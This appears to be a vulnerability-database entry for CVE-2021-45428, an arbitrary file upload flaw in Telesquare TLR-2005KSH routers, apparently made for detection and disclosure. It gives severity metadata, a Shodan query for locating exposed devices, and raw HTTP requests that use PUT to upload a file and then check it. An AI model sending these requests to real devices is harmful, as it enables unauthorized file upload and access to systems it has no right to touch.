| Title | Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could result in unauthorized accessand data leakage. |
| Remediation | Apply the latest security patch or update to a version that addresses the arbitrary file upload vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91545 |
| CVE ID | CVE-2021-45428 |
| CWE ID | CWE-639 |
| Shodan Query | http.html:"TLR-2005KSH" |
| Tags | cve2021 cve telesquare intrusive fileupload packetstorm vuln |
TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats.
GET /38FOzGF07Atcjd4UdNvngrNNySA.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/4.0
Connection: close
Accept-Encoding: gzip
PUT /38FOzGF07Atcjd4UdNvngrNNySA.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Content-Length: 14
Accept-Encoding: gzip
CVE-2021-45428
GET /38FOzGF07Atcjd4UdNvngrNNySA.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45428.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-45428.pcap
N/AN/A